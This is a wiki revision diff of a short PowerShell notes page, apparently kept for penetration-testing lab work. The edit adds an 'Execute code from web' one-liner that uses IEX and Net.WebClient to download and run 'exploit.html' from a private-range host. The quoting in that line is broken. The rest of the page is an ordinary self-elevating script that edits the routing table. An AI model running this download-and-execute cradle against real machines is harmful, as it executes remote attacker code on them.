Difference between revisions of "PowerShell"

From RHS Wiki
Jump to navigation Jump to search
m
Tag: visualeditor
Line 1: Line 1:
== Modify Routing Table ==
+
== Execute code from web ==
<source lang="PowerShell">param([switch]$Elevated)
+
<syntaxhighlight lang="powershell">
 +
powershell "IEX(New-Object Net.WebClient).downloadString("10.10.14.8:8000/exploit.html")
 +
</syntaxhighlight>
 +
 
 +
==Modify Routing Table==
 +
<source lang="PowerShell">param([switch]$Elevated)
 
function Check-Admin {
 
function Check-Admin {
 
     $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())
 
     $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())

Revision as of 10:40, 16 January 2020

Execute code from web

powershell "IEX(New-Object Net.WebClient).downloadString("10.10.14.8:8000/exploit.html")

Modify Routing Table

param([switch]$Elevated)
function Check-Admin {
    $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())
    $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}
if ((Check-Admin) -eq $false)  {
    if ($elevated)
    {
        # could not elevate, quit
    }
 
else {
        Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -noexit -file "{0}" -elevated' -f ($myinvocation.MyCommand.Definition))
    }
    exit
}

#eliminar ruta por defecto al haber 2 y a;ade ruta a vsphere
route delete 0.0.0.0 mask 0.0.0.0 15.17.160.1
route add 20.1.40.0 mask 255.255.255.0 15.17.160.1
Start-Sleep -s 2
exit